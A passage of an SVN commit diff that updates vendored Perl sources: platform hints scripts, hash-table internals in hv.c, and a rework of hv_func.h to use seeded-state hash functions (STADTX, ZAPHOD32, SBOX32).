     # Use the "native" counterparts, not the BSD emulation stuff:
-    d_bcmp='undef' d_bcopy='undef' d_bzero='undef' d_safebcpy='undef'
     d_index='undef' d_killpg='undef' d_getprior='undef' d_setprior='undef'
     d_setlinebuf='undef' 
     # d_setregid='undef' d_setreuid='undef'  # ???
@@ -89,13 +88,9 @@
    case $uw_ver in
    2.1)
 	d_csh='undef'
-	d_memcpy='define'
-	d_memset='define'
 	;;
    2.1.*)
 	d_csh='undef'
-	d_memcpy='define'
-	d_memset='define'
 	stdio_cnt='((fp)->__cnt)'
 	d_stdio_cnt_lval='define'
 	stdio_ptr='((fp)->__ptr)'
@@ -107,8 +102,6 @@
    case $uw_ver in
    7)
 	d_csh='undef'
-	d_memcpy='define'
-	d_memset='define'
 	stdio_cnt='((fp)->__cnt)'
 	d_stdio_cnt_lval='define'
 	stdio_ptr='((fp)->__ptr)'

Modified: vendor/perl/dist/hints/svr5.sh
===================================================================
--- vendor/perl/dist/hints/svr5.sh	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/hints/svr5.sh	2018-12-22 22:55:19 UTC (rev 12126)
@@ -92,7 +92,6 @@
 # Don't use BSD emulation pieces (/usr/ucblib) regardless
 # these would probably be autonondetected anyway but ...
 gconvert_preference='gcvt sprintf'	# Try gcvt() before gconvert().
-d_bcopy='undef' d_bcmp='undef'  d_bzero='undef'  d_safebcpy='undef'
 d_index='undef' d_killpg='undef' d_getprior='undef' d_setprior='undef'
 d_setlinebuf='undef' 
 d_setregid='undef' d_setreuid='undef'  # -- in /usr/lib/libc.so.1
@@ -120,14 +119,11 @@
    case $uw_ver in
    8.*|7.1*)
 	d_csh='undef'
-	d_memcpy='define'
-	d_memset='define'
 	stdio_cnt='((fp)->__cnt)'
 	d_stdio_cnt_lval='define'
 	stdio_ptr='((fp)->__ptr)'
 	d_stdio_ptr_lval='define'
 
-        d_bcopy='define'    # In /usr/lib/libc.so.1
         d_setregid='define' #  " 
         d_setreuid='define' #  " 
 
@@ -137,8 +133,6 @@
 	;;
    7*)
 	d_csh='undef'
-	d_memcpy='define'
-	d_memset='define'
 	stdio_cnt='((fp)->__cnt)'
 	d_stdio_cnt_lval='define'
 	stdio_ptr='((fp)->__ptr)'

Modified: vendor/perl/dist/hints/ultrix_4.sh
===================================================================
--- vendor/perl/dist/hints/ultrix_4.sh	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/hints/ultrix_4.sh	2018-12-22 22:55:19 UTC (rev 12126)
@@ -38,10 +38,6 @@
     *4.2*)	ccflags="$ccflags -DLANGUAGE_C -Olimit 3800"
 		# Prototypes sometimes cause compilation errors in 4.2.
 		prototype=undef   
-		case "$myuname" in
-		*risc*)  d_volatile=undef ;;
-		esac
-		;;
     *4.3*)	ccflags="$ccflags -std1 -DLANGUAGE_C -Olimit 3800" ;;
     *)	ccflags="$ccflags -std -Olimit 3800" ;;
     esac

Modified: vendor/perl/dist/hv.c
===================================================================
--- vendor/perl/dist/hv.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/hv.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -34,7 +34,11 @@
 #define PERL_HASH_INTERNAL_ACCESS
 #include "perl.h"
 
-#define DO_HSPLIT(xhv) ((xhv)->xhv_keys > (xhv)->xhv_max) /* HvTOTALKEYS(hv) > HvMAX(hv) */
+/* we split when we collide and we have a load factor over 0.667.
+ * NOTE if you change this formula so we split earlier than previously
+ * you MUST change the logic in hv_ksplit()
+ */
+#define DO_HSPLIT(xhv) ( ((xhv)->xhv_keys + ((xhv)->xhv_keys >> 1))  > (xhv)->xhv_max )
 #define HV_FILL_THRESHOLD 31
 
 static const char S_strtab_error[]
@@ -343,6 +347,7 @@
     HE **oentry;
     SV *sv;
     bool is_utf8;
+    bool in_collision;
     int masked_flags;
     const int return_svp = action & HV_FETCH_JUST_SV;
     HEK *keysv_hek = NULL;
@@ -504,7 +509,7 @@
 		/* This cast somewhat evil, but I'm merely using NULL/
 		   not NULL to return the boolean exists.
 		   And I know hv is not NULL.  */
-		return SvTRUE(svret) ? (void *)hv : NULL;
+		return SvTRUE_NN(svret) ? (void *)hv : NULL;
 		}
 #ifdef ENV_IS_CASELESS
 	    else if (mg_find((const SV *)hv, PERL_MAGIC_env)) {
@@ -835,6 +840,7 @@
      * making it harder to see if there is a collision. We also
      * reset the iterator randomizer if there is one.
      */
+    in_collision = *oentry != NULL;
     if ( *oentry && PL_HASH_RAND_BITS_ENABLED) {
         PL_hash_rand_bits++;
         PL_hash_rand_bits= ROTL_UV(PL_hash_rand_bits,1);
@@ -877,7 +883,7 @@
 	HvHASKFLAGS_on(hv);
 
     xhv->xhv_keys++; /* HvTOTALKEYS(hv)++ */
-    if ( DO_HSPLIT(xhv) ) {
+    if ( in_collision && DO_HSPLIT(xhv) ) {
         const STRLEN oldsize = xhv->xhv_max + 1;
         const U32 items = (U32)HvPLACEHOLDERS_get(hv);
 
@@ -961,7 +967,80 @@
     return sv;
 }
 
+
 /*
+hv_pushkv(): push all the keys and/or values of a hash onto the stack.
+The rough Perl equivalents:
+    () = %hash;
+    () = keys %hash;
+    () = values %hash;
+
+Resets the hash's iterator.
+
+flags : 1   = push keys
+        2   = push values
+        1|2 = push keys and values
+        XXX use symbolic flag constants at some point?
+I might unroll the non-tied hv_iternext() in here at some point - DAPM
+*/
+
+void
+Perl_hv_pushkv(pTHX_ HV *hv, U32 flags)
+{
+    HE *entry;
+    bool tied = SvRMAGICAL(hv) && (mg_find(MUTABLE_SV(hv), PERL_MAGIC_tied)
+#ifdef DYNAMIC_ENV_FETCH  /* might not know number of keys yet */
+                                   || mg_find(MUTABLE_SV(hv), PERL_MAGIC_env)
+#endif
+                                  );
+    dSP;
+
+    PERL_ARGS_ASSERT_HV_PUSHKV;
+    assert(flags); /* must be pushing at least one of keys and values */
+
+    (void)hv_iterinit(hv);
+
+    if (tied) {
+        SSize_t ext = (flags == 3) ? 2 : 1;
+        while ((entry = hv_iternext(hv))) {
+            EXTEND(SP, ext);
+            if (flags & 1)
+                PUSHs(hv_iterkeysv(entry));
+            if (flags & 2)
+                PUSHs(hv_iterval(hv, entry));
+        }
+    }
+    else {
+        Size_t nkeys = HvUSEDKEYS(hv);
+        SSize_t ext;
+
+        if (!nkeys)
+            return;
+
+        /* 2*nkeys() should never be big enough to truncate or wrap */
+        assert(nkeys <= (SSize_t_MAX >> 1));
+        ext = nkeys * ((flags == 3) ? 2 : 1);
+
+        EXTEND_MORTAL(nkeys);
+        EXTEND(SP, ext);
+
+        while ((entry = hv_iternext(hv))) {
+            if (flags & 1) {
+                SV *keysv = newSVhek(HeKEY_hek(entry));
+                SvTEMP_on(keysv);
+                PL_tmps_stack[++PL_tmps_ix] = keysv;
+                PUSHs(keysv);
+            }
+            if (flags & 2)
+                PUSHs(HeVAL(entry));
+        }
+    }
+
+    PUTBACK;
+}
+
+
+/*
 =for apidoc hv_bucket_ratio
 
 If the hash is tied dispatches through to the SCALAR tied method,
@@ -989,12 +1068,13 @@
             return magic_scalarpack(hv, mg);
     }
 
-    sv = sv_newmortal();
-    if (HvUSEDKEYS((HV *)hv))
+    if (HvUSEDKEYS((HV *)hv)) {
+        sv = sv_newmortal();
         Perl_sv_setpvf(aTHX_ sv, "%ld/%ld",
                 (long)HvFILL(hv), (long)HvMAX(hv) + 1);
+    }
     else
-        sv_setiv(sv, 0);
+        sv = &PL_sv_zero;
     
     return sv;
 }
@@ -1199,7 +1279,7 @@
 			 sv_2mortal((SV *)gv)
 			);
 		}
-		else if (klen == 3 && strEQs(key, "ISA") && GvAV(gv)) {
+		else if (memEQs(key, klen, "ISA") && GvAV(gv)) {
                     AV *isa = GvAV(gv);
                     MAGIC *mg = mg_find((SV*)isa, PERL_MAGIC_isa);
 
@@ -1450,29 +1530,42 @@
 Perl_hv_ksplit(pTHX_ HV *hv, IV newmax)
 {
     XPVHV* xhv = (XPVHV*)SvANY(hv);
-    const I32 oldsize = (I32) xhv->xhv_max+1; /* HvMAX(hv)+1 (sick) */
+    const I32 oldsize = (I32) xhv->xhv_max+1;       /* HvMAX(hv)+1 */
     I32 newsize;
+    I32 wantsize;
+    I32 trysize;
     char *a;
 
     PERL_ARGS_ASSERT_HV_KSPLIT;
 
-    newsize = (I32) newmax;			/* possible truncation here */
-    if (newsize != newmax || newmax <= oldsize)
+    wantsize = (I32) newmax;                            /* possible truncation here */
+    if (wantsize != newmax)
 	return;
-    while ((newsize & (1 + ~newsize)) != newsize) {
-	newsize &= ~(newsize & (1 + ~newsize));	/* get proper power of 2 */
+
+    wantsize= wantsize + (wantsize >> 1);           /* wantsize *= 1.5 */
+    if (wantsize < newmax)                          /* overflow detection */
+        return;
+
+    newsize = oldsize;
+    while (wantsize > newsize) {
+        trysize = newsize << 1;
+        if (trysize > newsize) {
+            newsize = trysize;
+        } else {
+            /* we overflowed */
+            return;
+        }
     }
-    if (newsize < newmax)
-	newsize *= 2;
-    if (newsize < newmax)
-	return;					/* overflow detection */
 
+    if (newsize <= oldsize)
+        return;                                            /* overflow detection */
+
     a = (char *) HvARRAY(hv);
     if (a) {
         hsplit(hv, oldsize, newsize);
     } else {
         Newxz(a, PERL_HV_ARRAY_ALLOC_BYTES(newsize), char);
-        xhv->xhv_max = --newsize;
+        xhv->xhv_max = newsize - 1;
         HvARRAY(hv) = (HE **) a;
     }
 }
@@ -1735,7 +1828,7 @@
 	}
     }
     else {
-	hfreeentries(hv);
+	hv_free_entries(hv);
 	HvPLACEHOLDERS_set(hv, 0);
 
 	if (SvRMAGICAL(hv))
@@ -1832,13 +1925,13 @@
 }
 
 STATIC void
-S_hfreeentries(pTHX_ HV *hv)
+S_hv_free_entries(pTHX_ HV *hv)
 {
     STRLEN index = 0;
     XPVHV * const xhv = (XPVHV*)SvANY(hv);
     SV *sv;
 
-    PERL_ARGS_ASSERT_HFREEENTRIES;
+    PERL_ARGS_ASSERT_HV_FREE_ENTRIES;
 
     while ((sv = Perl_hfree_next_entry(aTHX_ hv, &index))||xhv->xhv_keys) {
 	SvREFCNT_dec(sv);
@@ -1847,7 +1940,7 @@
 
 
 /* hfree_next_entry()
- * For use only by S_hfreeentries() and sv_clear().
+ * For use only by S_hv_free_entries() and sv_clear().
  * Delete the next available HE from hv and return the associated SV.
  * Returns null on empty hash. Nevertheless null is not a reliable
  * indicator that the hash is empty, as the deleted entry may have a
@@ -1936,7 +2029,7 @@
 {
     XPVHV* xhv;
     bool save;
-    SSize_t orig_ix;
+    SSize_t orig_ix = PL_tmps_ix; /* silence compiler warning about unitialized vars */
 
     if (!hv)
 	return;
@@ -1944,7 +2037,7 @@
     DEBUG_A(Perl_hv_assert(aTHX_ hv));
     xhv = (XPVHV*)SvANY(hv);
 
-    /* The name must be deleted before the call to hfreeeeentries so that
+    /* The name must be deleted before the call to hv_free_entries so that
        CVs are anonymised properly. But the effective name must be pre-
        served until after that call (and only deleted afterwards if the
        call originated from sv_clear). For stashes with one name that is
@@ -1952,7 +2045,7 @@
        allocate an array for storing the effective name. We can skip that
        during global destruction, as it does not matter where the CVs point
        if they will be freed anyway. */
-    /* note that the code following prior to hfreeentries is duplicated
+    /* note that the code following prior to hv_free_entries is duplicated
      * in sv_clear(), and changes here should be done there too */
     if (PL_phase != PERL_PHASE_DESTRUCT && HvNAME(hv)) {
         if (PL_stashcache) {
@@ -1968,7 +2061,7 @@
         PL_tmps_stack[++PL_tmps_ix] = SvREFCNT_inc_simple_NN(hv);
         orig_ix = PL_tmps_ix;
     }
-    hfreeentries(hv);
+    hv_free_entries(hv);
     if (SvOOK(hv)) {
       struct mro_meta *meta;
       const char *name;
@@ -2947,7 +3040,7 @@
  * len and hash must both be valid for str.
  */
 HEK *
-Perl_share_hek(pTHX_ const char *str, I32 len, U32 hash)
+Perl_share_hek(pTHX_ const char *str, SSize_t len, U32 hash)
 {
     bool is_utf8 = FALSE;
     int flags = 0;
@@ -2979,7 +3072,7 @@
 }
 
 STATIC HEK *
-S_share_hek_flags(pTHX_ const char *str, I32 len, U32 hash, int flags)
+S_share_hek_flags(pTHX_ const char *str, STRLEN len, U32 hash, int flags)
 {
     HE *entry;
     const int flags_masked = flags & HVhek_MASK;
@@ -2988,6 +3081,10 @@
 
     PERL_ARGS_ASSERT_SHARE_HEK_FLAGS;
 
+    if (UNLIKELY(len > (STRLEN) I32_MAX)) {
+        Perl_croak_nocontext("Sorry, hash keys must be smaller than 2**31 bytes");
+    }
+
     /* what follows is the moral equivalent of:
 
     if (!(Svp = hv_fetch(PL_strtab, str, len, FALSE)))
@@ -3002,7 +3099,7 @@
     for (;entry; entry = HeNEXT(entry)) {
 	if (HeHASH(entry) != hash)		/* strings can't be equal */
 	    continue;
-	if (HeKLEN(entry) != len)
+	if (HeKLEN(entry) != (SSize_t) len)
 	    continue;
 	if (HeKEY(entry) != str && memNE(HeKEY(entry),str,len))	/* is this it? */
 	    continue;

Modified: vendor/perl/dist/hv.h
===================================================================
--- vendor/perl/dist/hv.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/hv.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -565,9 +565,9 @@
 };
 
 /*
-=for apidoc m|SV *|refcounted_he_fetch_pvs|const struct refcounted_he *chain|const char *key|U32 flags
+=for apidoc m|SV *|refcounted_he_fetch_pvs|const struct refcounted_he *chain|"literal string" key|U32 flags
 
-Like L</refcounted_he_fetch_pvn>, but takes a C<NUL>-terminated literal string
+Like L</refcounted_he_fetch_pvn>, but takes a literal string
 instead of a string/length pair, and no precomputed hash.
 
 =cut
@@ -577,9 +577,9 @@
     Perl_refcounted_he_fetch_pvn(aTHX_ chain, STR_WITH_LEN(key), 0, flags)
 
 /*
-=for apidoc m|struct refcounted_he *|refcounted_he_new_pvs|struct refcounted_he *parent|const char *key|SV *value|U32 flags
+=for apidoc m|struct refcounted_he *|refcounted_he_new_pvs|struct refcounted_he *parent|"literal string" key|SV *value|U32 flags
 
-Like L</refcounted_he_new_pvn>, but takes a C<NUL>-terminated literal string
+Like L</refcounted_he_new_pvn>, but takes a literal string
 instead of a string/length pair, and no precomputed hash.
 
 =cut

Modified: vendor/perl/dist/hv_func.h
===================================================================
--- vendor/perl/dist/hv_func.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/hv_func.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,146 +4,157 @@
  * to avoid "algorithmic complexity attacks".
  *
  * If USE_HASH_SEED is defined, hash randomisation is done by default
- * If USE_HASH_SEED_EXPLICIT is defined, hash randomisation is done
- * only if the environment variable PERL_HASH_SEED is set.
  * (see also perl.c:perl_parse() and S_init_tls_and_interp() and util.c:get_hash_seed())
  */
-
 #ifndef PERL_SEEN_HV_FUNC_H /* compile once */
 #define PERL_SEEN_HV_FUNC_H
+#include "hv_macro.h"
 
 #if !( 0 \
         || defined(PERL_HASH_FUNC_SIPHASH) \
         || defined(PERL_HASH_FUNC_SIPHASH13) \
-        || defined(PERL_HASH_FUNC_HYBRID_OAATHU_SIPHASH13) \
-        || defined(PERL_HASH_FUNC_ONE_AT_A_TIME_HARD) \
+        || defined(PERL_HASH_FUNC_STADTX) \
+        || defined(PERL_HASH_FUNC_ZAPHOD32) \
     )
-#if IVSIZE == 8
-#define PERL_HASH_FUNC_HYBRID_OAATHU_SIPHASH13
-#else
-#define PERL_HASH_FUNC_ONE_AT_A_TIME_HARD
+#   ifdef CAN64BITHASH
+#       define PERL_HASH_FUNC_STADTX
+#   else
+#       define PERL_HASH_FUNC_ZAPHOD32
+#   endif
 #endif
+
+#ifndef PERL_HASH_USE_SBOX32_ALSO
+#define PERL_HASH_USE_SBOX32_ALSO 1
 #endif
 
+#ifndef SBOX32_MAX_LEN
+#define SBOX32_MAX_LEN 24
+#endif
+
+/* this must be after the SBOX32_MAX_LEN define */
+#include "sbox32_hash.h"
+
 #if defined(PERL_HASH_FUNC_SIPHASH)
-#   define PERL_HASH_FUNC "SIPHASH_2_4"
-#   define PERL_HASH_SEED_BYTES 16
-#   define PERL_HASH_WITH_SEED(seed,hash,str,len) (hash)= S_perl_hash_siphash_2_4((seed),(U8*)(str),(len))
+# define __PERL_HASH_FUNC "SIPHASH_2_4"
+# define __PERL_HASH_SEED_BYTES 16
+# define __PERL_HASH_STATE_BYTES 32
+# define __PERL_HASH_SEED_STATE(seed,state) S_perl_siphash_seed_state(seed,state)
+# define __PERL_HASH_WITH_STATE(state,str,len) S_perl_hash_siphash_2_4_with_state((state),(U8*)(str),(len))
 #elif defined(PERL_HASH_FUNC_SIPHASH13)
-#   define PERL_HASH_FUNC "SIPHASH_1_3"
-#   define PERL_HASH_SEED_BYTES 16
-#   define PERL_HASH_WITH_SEED(seed,hash,str,len) (hash)= S_perl_hash_siphash_1_3((seed),(U8*)(str),(len))
-#elif defined(PERL_HASH_FUNC_HYBRID_OAATHU_SIPHASH13)
-#   define PERL_HASH_FUNC "HYBRID_OAATHU_SIPHASH_1_3"
-#   define PERL_HASH_SEED_BYTES 24
-#   define PERL_HASH_WITH_SEED(seed,hash,str,len) (hash)= S_perl_hash_oaathu_siphash_1_3((seed),(U8*)(str),(len))
-#elif defined(PERL_HASH_FUNC_ONE_AT_A_TIME_HARD)
-#   define PERL_HASH_FUNC "ONE_AT_A_TIME_HARD"
-#   define PERL_HASH_SEED_BYTES 8
-#   define PERL_HASH_WITH_SEED(seed,hash,str,len) (hash)= S_perl_hash_one_at_a_time_hard((seed),(U8*)(str),(len))
+# define __PERL_HASH_FUNC "SIPHASH_1_3"
+# define __PERL_HASH_SEED_BYTES 16
+# define __PERL_HASH_STATE_BYTES 32
+# define __PERL_HASH_SEED_STATE(seed,state) S_perl_siphash_seed_state(seed,state)
+# define __PERL_HASH_WITH_STATE(state,str,len) S_perl_hash_siphash_1_3_with_state((state),(U8*)(str),(len))
+#elif defined(PERL_HASH_FUNC_STADTX)
+# define __PERL_HASH_FUNC "STATDX"
+# define __PERL_HASH_SEED_BYTES 16
+# define __PERL_HASH_STATE_BYTES 32
+# define __PERL_HASH_SEED_STATE(seed,state) stadtx_seed_state(seed,state)
+# define __PERL_HASH_WITH_STATE(state,str,len) (U32)stadtx_hash_with_state((state),(U8*)(str),(len))
+# include "stadtx_hash.h"
+#elif defined(PERL_HASH_FUNC_ZAPHOD32)
+# define __PERL_HASH_FUNC "ZAPHOD32"
+# define __PERL_HASH_SEED_BYTES 12
+# define __PERL_HASH_STATE_BYTES 12
+# define __PERL_HASH_SEED_STATE(seed,state) zaphod32_seed_state(seed,state)
+# define __PERL_HASH_WITH_STATE(state,str,len) (U32)zaphod32_hash_with_state((state),(U8*)(str),(len))
+# include "zaphod32_hash.h"
 #endif
 
-#ifndef PERL_HASH_WITH_SEED
+#ifndef __PERL_HASH_WITH_STATE
 #error "No hash function defined!"
 #endif
-#ifndef PERL_HASH_SEED_BYTES
-#error "PERL_HASH_SEED_BYTES not defined"
+#ifndef __PERL_HASH_SEED_BYTES
+#error "__PERL_HASH_SEED_BYTES not defined"
 #endif
-#ifndef PERL_HASH_FUNC
-#error "PERL_HASH_FUNC not defined"
+#ifndef __PERL_HASH_FUNC
+#error "__PERL_HASH_FUNC not defined"
 #endif
 
-#ifndef PERL_HASH_SEED
-#   if defined(USE_HASH_SEED) || defined(USE_HASH_SEED_EXPLICIT)
-#       define PERL_HASH_SEED PL_hash_seed
-#   elif PERL_HASH_SEED_BYTES == 4
-#       define PERL_HASH_SEED ((const U8 *)"PeRl")
-#   elif PERL_HASH_SEED_BYTES == 8
-#       define PERL_HASH_SEED ((const U8 *)"PeRlHaSh")
-#   elif PERL_HASH_SEED_BYTES == 16
-#       define PERL_HASH_SEED ((const U8 *)"PeRlHaShhAcKpErl")
-#   else
-#       error "No PERL_HASH_SEED definition for " PERL_HASH_FUNC
-#   endif
-#endif
 
-#define PERL_HASH(hash,str,len) PERL_HASH_WITH_SEED(PERL_HASH_SEED,hash,str,len)
+#if PERL_HASH_USE_SBOX32_ALSO != 1
+# define _PERL_HASH_FUNC                        __PERL_HASH_FUNC
+# define _PERL_HASH_SEED_BYTES                  __PERL_HASH_SEED_BYTES
+# define _PERL_HASH_STATE_BYTES                 __PERL_HASH_STATE_BYTES
+# define _PERL_HASH_SEED_STATE(seed,state)      __PERL_HASH_SEED_STATE(seed,state)
+# define _PERL_HASH_WITH_STATE(state,str,len)   __PERL_HASH_WITH_STATE(state,str,len)
+#else
 
-/* legacy - only mod_perl should be doing this.  */
-#ifdef PERL_HASH_INTERNAL_ACCESS
-#define PERL_HASH_INTERNAL(hash,str,len) PERL_HASH(hash,str,len)
-#endif
+#define _PERL_HASH_FUNC         "SBOX32_WITH_" __PERL_HASH_FUNC
 
-/*-----------------------------------------------------------------------------
- * Endianess, misalignment capabilities and util macros
- *
- * The following 3 macros are defined in this section. The other macros defined
- * are only needed to help derive these 3.
- *
- * U8TO32_LE(x)   Read a little endian unsigned 32-bit int
- * UNALIGNED_SAFE   Defined if unaligned access is safe
- * ROTL32(x,r)      Rotate x left by r bits
- */
+#define _PERL_HASH_SEED_BYTES   ( __PERL_HASH_SEED_BYTES + (int)( 3 * sizeof(U32) ) )
 
-#if (defined(__GNUC__) && defined(__i386__)) || defined(__WATCOMC__) \
-  || defined(_MSC_VER) || defined (__TURBOC__)
-#define U8TO16_LE(d) (*((const U16 *) (d)))
-#endif
+#define _PERL_HASH_STATE_BYTES  \
+    ( __PERL_HASH_STATE_BYTES + ( ( 1 + ( 256 * SBOX32_MAX_LEN ) ) * sizeof(U32) ) )
 
-#if !defined (U8TO16_LE)
-#define U8TO16_LE(d) ((((const U8 *)(d))[1] << 8)\
-                      +((const U8 *)(d))[0])
-#endif
+#define _PERL_HASH_SEED_STATE(seed,state) STMT_START {                                      \
+    __PERL_HASH_SEED_STATE(seed,state);                                                     \
+    sbox32_seed_state96(seed + __PERL_HASH_SEED_BYTES, state + __PERL_HASH_STATE_BYTES);    \
+} STMT_END
 
-#if (BYTEORDER == 0x1234 || BYTEORDER == 0x12345678) && U32SIZE == 4
-  /* CPU endian matches murmurhash algorithm, so read 32-bit word directly */
-  #define U8TO32_LE(ptr)   (*((const U32*)(ptr)))
-#elif BYTEORDER == 0x4321 || BYTEORDER == 0x87654321
-  /* TODO: Add additional cases below where a compiler provided bswap32 is available */
-  #if defined(__GNUC__) && (__GNUC__>4 || (__GNUC__==4 && __GNUC_MINOR__>=3))
-    #define U8TO32_LE(ptr)   (__builtin_bswap32(*((U32*)(ptr))))
-  #else
-    /* Without a known fast bswap32 we're just as well off doing this */
-    #define U8TO32_LE(ptr)   (ptr[0]|ptr[1]<<8|ptr[2]<<16|ptr[3]<<24)
-    #define UNALIGNED_SAFE
-  #endif
-#else
-  /* Unknown endianess so last resort is to read individual bytes */
-  #define U8TO32_LE(ptr)   (ptr[0]|ptr[1]<<8|ptr[2]<<16|ptr[3]<<24)
-  /* Since we're not doing word-reads we can skip the messing about with realignment */
-  #define UNALIGNED_SAFE
-#endif
+#define _PERL_HASH_WITH_STATE(state,str,len)                                            \
+    (LIKELY(len <= SBOX32_MAX_LEN)                                                      \
+        ? sbox32_hash_with_state((state + __PERL_HASH_STATE_BYTES),(U8*)(str),(len))    \
+        : __PERL_HASH_WITH_STATE((state),(str),(len)))
 
-#ifdef HAS_QUAD
-#ifndef U64TYPE
-/* This probably isn't going to work, but failing with a compiler error due to
-   lack of uint64_t is no worse than failing right now with an #error.  */
-#define U64 uint64_t
 #endif
-#endif
 
-/* Find best way to ROTL32/ROTL64 */
-#if defined(_MSC_VER)
-  #include <stdlib.h>  /* Microsoft put _rotl declaration in here */
-  #define ROTL32(x,r)  _rotl(x,r)
-  #ifdef HAS_QUAD
-    #define ROTL64(x,r)  _rotl64(x,r)
-  #endif
+PERL_STATIC_INLINE
+U32 S_perl_hash_with_seed(const U8 * const seed, const U8 * const str, const STRLEN len)
+{
+    U8 state[_PERL_HASH_STATE_BYTES];
+    _PERL_HASH_SEED_STATE(seed,state);
+    return _PERL_HASH_WITH_STATE(state,str,len);
+}
+
+#define PERL_HASH_WITH_SEED(seed,hash,str,len) \
+    (hash) = S_perl_hash_with_seed((const U8 *) seed, (const U8 *) str,len)
+#define PERL_HASH_WITH_STATE(state,hash,str,len) \
+    (hash) = _PERL_HASH_WITH_STATE((state),(U8*)(str),(len))
+#define PERL_HASH_SEED_STATE(seed,state) _PERL_HASH_SEED_STATE(seed,state)
+#define PERL_HASH_SEED_BYTES _PERL_HASH_SEED_BYTES
+#define PERL_HASH_STATE_BYTES _PERL_HASH_STATE_BYTES
+#define PERL_HASH_FUNC        _PERL_HASH_FUNC
+
+#ifdef PERL_USE_SINGLE_CHAR_HASH_CACHE
+#define PERL_HASH(state,str,len) \
+    (hash) = ((len) < 2 ? ( (len) == 0 ? PL_hash_chars[256] : PL_hash_chars[(U8)(str)[0]] ) \
+                       : _PERL_HASH_WITH_STATE(PL_hash_state,(U8*)(str),(len)))
 #else
-  /* gcc recognises this code and generates a rotate instruction for CPUs with one */
-  #define ROTL32(x,r)  (((U32)x << r) | ((U32)x >> (32 - r)))
-  #ifdef HAS_QUAD
-    #define ROTL64(x,r)  (((U64)x << r) | ((U64)x >> (64 - r)))
-  #endif
+#define PERL_HASH(hash,str,len) \
+    PERL_HASH_WITH_STATE(PL_hash_state,hash,(U8*)(str),(len))
 #endif
 
+/* Setup the hash seed, either we do things dynamically at start up,
+ * including reading from the environment, or we randomly setup the
+ * seed. The seed will be passed into the PERL_HASH_SEED_STATE() function
+ * defined for the configuration defined for this perl, which will then
+ * initialze whatever state it might need later in hashing. */
 
-#ifdef UV_IS_QUAD
-#define ROTL_UV(x,r) ROTL64(x,r)
-#else
-#define ROTL_UV(x,r) ROTL32(x,r)
+#ifndef PERL_HASH_SEED
+#   if defined(USE_HASH_SEED)
+#       define PERL_HASH_SEED PL_hash_seed
+#   else
+       /* this is a 512 bit seed, which should be more than enough for the
+        * configuration of any of our hash functions (with or without sbox).
+        * If you actually use a hard coded seed, you are strongly encouraged
+        * to replace this with something else of the correct length
+        * for the hash function you are using (24-32 bytes depending on build
+        * options). Repeat, you are *STRONGLY* encouraged not to use the value
+        * provided here.
+        */
+#       define PERL_HASH_SEED \
+           ((const U8 *)"A long string of pseudorandomly "  \
+                        "chosen bytes for hashing in Perl")
+#   endif
 #endif
 
+/* legacy - only mod_perl should be doing this.  */
+#ifdef PERL_HASH_INTERNAL_ACCESS
+#define PERL_HASH_INTERNAL(hash,str,len) PERL_HASH(hash,str,len)
+#endif
+
 /* This is SipHash by Jean-Philippe Aumasson and Daniel J. Bernstein.
  * The authors claim it is relatively secure compared to the alternatives
  * and that performance wise it is a suitable hash for languages like Perl.
@@ -158,18 +169,8 @@
  * It is 64 bit only.
  */
 
-#ifdef HAS_QUAD
+#ifdef CAN64BITHASH
 
-#define U8TO64_LE(p) \
-  (((U64)((p)[0])      ) | \
-   ((U64)((p)[1]) <<  8) | \
-   ((U64)((p)[2]) << 16) | \
-   ((U64)((p)[3]) << 24) | \
-   ((U64)((p)[4]) << 32) | \
-   ((U64)((p)[5]) << 40) | \
-   ((U64)((p)[6]) << 48) | \
-   ((U64)((p)[7]) << 56))
-
 #define SIPROUND            \
   STMT_START {              \
     v0 += v1; v1=ROTL64(v1,13); v1 ^= v0; v0=ROTL64(v0,32); \
@@ -178,30 +179,37 @@
     v2 += v1; v1=ROTL64(v1,17); v1 ^= v2; v2=ROTL64(v2,32); \
   } STMT_END
 
-/* SipHash-2-4 */
+#define SIPHASH_SEED_STATE(key,v0,v1,v2,v3) \
+do {                                    \
+    v0 = v2 = U8TO64_LE(key + 0);       \
+    v1 = v3 = U8TO64_LE(key + 8);       \
+  /* "somepseudorandomlygeneratedbytes" */  \
+    v0 ^= UINT64_C(0x736f6d6570736575);  \
+    v1 ^= UINT64_C(0x646f72616e646f6d);      \
+    v2 ^= UINT64_C(0x6c7967656e657261);      \
+    v3 ^= UINT64_C(0x7465646279746573);      \
+} while (0)
 
+PERL_STATIC_INLINE
+void S_perl_siphash_seed_state(const unsigned char * const seed_buf, unsigned char * state_buf) {
+    U64 *v= (U64*) state_buf;
+    SIPHASH_SEED_STATE(seed_buf, v[0],v[1],v[2],v[3]);
+}
 
 #define PERL_SIPHASH_FNC(FNC,SIP_ROUNDS,SIP_FINAL_ROUNDS) \
 PERL_STATIC_INLINE U32 \
-FNC(const unsigned char * const seed, const unsigned char *in, const STRLEN inlen) { \
-  /* "somepseudorandomlygeneratedbytes" */  \
-  U64 v0 = UINT64_C(0x736f6d6570736575);    \
-  U64 v1 = UINT64_C(0x646f72616e646f6d);    \
-  U64 v2 = UINT64_C(0x6c7967656e657261);    \
-  U64 v3 = UINT64_C(0x7465646279746573);    \
-                                            \
-  U64 b;                                    \
-  U64 k0 = ((const U64*)seed)[0];           \
-  U64 k1 = ((const U64*)seed)[1];           \
-  U64 m;                                    \
+FNC ## _with_state \
+  (const unsigned char * const state, const unsigned char *in, const STRLEN inlen) \
+{                                           \
   const int left = inlen & 7;               \
   const U8 *end = in + inlen - left;        \
                                             \
-  b = ( ( U64 )(inlen) ) << 56;             \
-  v3 ^= k1;                                 \
-  v2 ^= k0;                                 \
-  v1 ^= k1;                                 \
-  v0 ^= k0;                                 \
+  U64 b = ( ( U64 )(inlen) ) << 56;         \
+  U64 m;                                    \
+  U64 v0 = U8TO64_LE(state);                \
+  U64 v1 = U8TO64_LE(state+8);              \
+  U64 v2 = U8TO64_LE(state+16);             \
+  U64 v3 = U8TO64_LE(state+24);             \
                                             \
   for ( ; in != end; in += 8 )              \
   {                                         \
@@ -237,8 +245,17 @@
                                             \
   b = v0 ^ v1 ^ v2  ^ v3;                   \
